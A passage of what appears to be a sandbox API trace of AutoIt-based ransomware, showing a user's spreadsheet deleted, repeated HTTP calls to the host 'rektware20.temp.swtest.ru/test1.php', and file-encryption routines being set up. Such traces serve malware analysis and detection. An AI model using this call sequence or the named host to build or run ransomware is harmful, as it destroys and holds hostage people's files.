lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\4Hw9GgIh-.xlsx", lpFilePart=0x0) returned 0x2e [0068.959] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\4Hw9GgIh-.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\4hw9ggih-.xlsx")) returned 0x20 [0068.960] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\4Hw9GgIh-.xlsx", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c3f0 [0068.961] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\4Hw9GgIh-.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\4hw9ggih-.xlsx")) returned 1 [0068.976] FindNextFileW (in: hFindFile=0x164c3f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0068.976] FindClose (in: hFindFile=0x164c3f0 | out: hFindFile=0x164c3f0) returned 1 [0068.976] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0068.976] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.976] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.976] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.976] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\4jCYFLEJyG9VEm2.xls", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0068.977] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0068.977] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.977] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0068.977] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0068.977] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0068.977] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0068.977] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e80, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e80, lpdwBufferLength=0x130ef8c) returned 1 [0068.977] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0068.977] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0068.981] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0068.981] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0068.981] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0068.981] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0068.982] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292d0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0068.982] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629150, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629150*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0068.982] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0068.982] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0068.983] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0068.983] CloseHandle (hObject=0x0) returned 0 [0068.983] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\4jCYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.983] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\4jCYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.983] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\4jCYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.983] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\4jCYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.983] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\4jCYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.983] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\4jCYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.983] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\4jCYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.983] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\4jCYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.983] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\4jCYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.983] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\4jCYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.983] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\4jCYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.983] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\4jCYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.983] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\4jCYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.983] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\4jCYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.983] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\4jCYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.983] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\4jCYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.984] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\4jCYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.984] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\4jCYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.984] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\4jCYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.984] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\4jCYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.984] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\4jCYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.984] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\4jCYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.984] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\4jCYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.984] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\4jCYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.984] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\4jCYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.984] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\4jCYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.984] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\4jCYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.984] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\4jCYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.984] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\4jCYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.984] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\4jCYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.984] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\4jCYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.984] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\4jCYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.984] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4jCYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.984] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jCYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.984] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CYFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.985] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="YFLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.985] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FLEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.985] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LEJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.985] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="EJyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.985] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JyG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.985] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yG9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.985] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="G9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.985] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.985] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VEm2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.985] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Em2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.985] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.985] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.985] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.985] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.985] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.985] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0068.986] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0068.986] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0068.986] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0068.986] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0068.986] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0068.986] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0068.986] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e50, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e50, lpdwBufferLength=0x130ee1c) returned 1 [0068.986] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0068.986] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0068.986] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0068.987] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0068.987] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0068.987] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0068.987] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629170, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629170*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0068.987] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292f0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0068.988] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0068.988] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0068.988] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0068.988] CloseHandle (hObject=0x0) returned 0 [0068.988] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.988] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\4jCYFLEJyG9VEm2.xls", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0068.989] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0068.989] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.989] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0068.989] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.989] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.989] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0068.989] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.989] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0068.990] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.990] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.990] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0068.991] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.991] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.991] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.991] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.991] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.991] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0068.991] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0068.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0068.992] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0068.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0068.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0068.992] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0068.992] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aae68) returned 1 [0069.006] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.006] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.006] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0069.006] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.011] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.013] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.013] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.013] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.013] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0069.013] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.013] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.013] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.013] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.013] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.013] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.013] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0069.014] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.014] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.014] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0069.014] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.014] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0069.014] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0069.014] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.014] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.014] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0069.018] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0069.030] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0069.030] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.030] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.030] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.030] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.030] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, 